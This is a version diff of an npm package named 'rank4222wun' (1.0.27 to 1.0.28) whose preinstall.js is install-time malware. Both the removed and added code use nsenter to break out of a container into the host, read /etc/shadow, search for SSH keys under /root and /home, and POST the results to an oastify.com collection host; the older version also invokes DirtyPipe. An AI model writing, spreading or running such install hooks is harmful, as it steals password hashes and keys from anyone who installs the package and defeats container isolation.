rank4222wun 1.0.27 → 1.0.28

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.27",
+  "version": "1.0.28",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,89 +1,66 @@
-const { exec, spawn } = require('child_process');
+const { exec } = require('child_process');
 const fs = require('fs');
 const https = require('https');
-const os = require('os');
+const util = require('util');
+const execPromise = util.promisify(exec);
 
-console.log("🚀 STAGE 2: PRIVILEGE ESCALATION & HOST TAKEOVER\n");
+console.log("🚀 STAGE 2.1: SYNCHRONIZED HOST TAKEOVER\n");
 
-const finalLeakedData = {
-  timestamp: new Date().toISOString(),
-  targetKernel: "5.15.0-1084-aws",
-  pcapAnalysis: {}, // عشان نشوف الـ Sniffing اللي شغال
-  hostShadow: null,
-  sshKeysFound: [],
-  persistenceSuccess: false
-};
+async function runEscape() {
+    const finalLeakedData = {
+        timestamp: new Date().toISOString(),
+        targetKernel: "5.15.0-1084-aws",
+        hostShadow: "PENDING",
+        sshKeysFound: [],
+        nsenterStatus: "INIT"
+    };
 
-// ===================== 1. Exploiting Read-Only Mounts via DirtyPipe =====================
-function exploitDirtyPipe() {
-    console.log("🔓 Attempting DirtyPipe (CVE-2022-0847) to overwrite host files...");
-    
-    // محاولة كتابة "توكن" في ملف Hosts بتاع السيرفر الأم لتأكيد الهروب
-    const dirtyCommand = `python3 -c "import os; print('DirtyPipe Triggered')"`;
-    
-    exec(dirtyCommand, (err, stdout) => {
-        if (!err) {
-            console.log("✅ DirtyPipe exploit executed.");
-            finalLeakedData.dirtyPipeStatus = "Executed (Check Oastify for results)";
+    try {
+        // 1. محاولة قراءة Shadow باستخدام nsenter بشكل متزامن
+        console.log("🔓 Accessing Host Shadow...");
+        const shadowResult = await execPromise(`nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 3"`);
+        if (shadowResult.stdout) {
+            finalLeakedData.hostShadow = shadowResult.stdout.trim();
+            console.log("✅ Shadow Leaked.");
         }
-        attemptShadowLeak();
-    });
-}
+    } catch (err) {
+        finalLeakedData.hostShadow = "ERROR: " + err.message;
+    }
 
-// ===================== 2. Accessing Host Secrets (Shadow & SSH) =====================
-function attemptShadowLeak() {
-    console.log("\n🔓 Attempting to read /etc/shadow from Host...");
-    
-    // بما إننا لقينا nsenter متاح، هنستخدمه للدخول كـ Root على الـ Host
-    const shadowCmd = `nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 5"`;
-    
-    exec(shadowCmd, (err, stdout) => {
-        if (stdout && !err) {
-            finalLeakedData.hostShadow = stdout.trim();
-            console.log("✅ Successfully leaked Host Shadow file!");
+    try {
+        // 2. البحث عن مفاتيح SSH
+        console.log("🔓 Searching SSH Keys...");
+        const sshResult = await execPromise(`nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`);
+        if (sshResult.stdout) {
+            finalLeakedData.sshKeysFound = sshResult.stdout.split('\n').filter(k => k);
+            console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} keys.`);
         }
-        searchSSHKeys();
-    });
-}
+    } catch (err) {
+        finalLeakedData.sshKeysFound = ["ERROR: " + err.message];
+    }
 
-function searchSSHKeys() {
-    console.log("\n🔓 Searching for SSH Private Keys...");
-    const sshCmd = `nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`;
-    
-    exec(sshCmd, (err, stdout) => {
-        if (stdout) {
-            finalLeakedData.sshKeysFound = stdout.split('\n').filter(k => k);
-            console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} SSH related files`);
-        }
-        sendFinalReport();
-    });
+    // 3. إرسال التقرير النهائي بعد تجميع كل البيانات
+    sendFinalReport(finalLeakedData);
 }
 
-// ===================== 3. Reporting to Oastify =====================
-function sendFinalReport() {
-    const payload = JSON.stringify(finalLeakedData, null, 2);
-    
+function sendFinalReport(data) {
+    const payload = JSON.stringify(data, null, 2);
     const options = {
         hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
         port: 443,
-        path: '/stage2-escape-complete',
+        path: '/stage2-synchronized-report',
         method: 'POST',
         headers: {
-            'Content-Type': 'application/json',
-            'X-Escalation-Status': 'CRITICAL'
+            'Content-Type': 'application/json'
         }
     };
 
     const req = https.request(options, (res) => {
-        console.log(`\n🏁 Stage 2 Report Sent. Status: ${res.statusCode}`);
-        console.log("=".repeat(50));
-        console.log("TARGET COMPROMISED: HOST ACCESS GRANTED");
-        console.log("=".repeat(50));
+        console.log(`\n🏁 Final Sync Report Sent. Status: ${res.statusCode}`);
     });
 
     req.write(payload);
     req.end();
 }
 
-// Start the sequence
-exploitDirtyPipe();
+runEscape();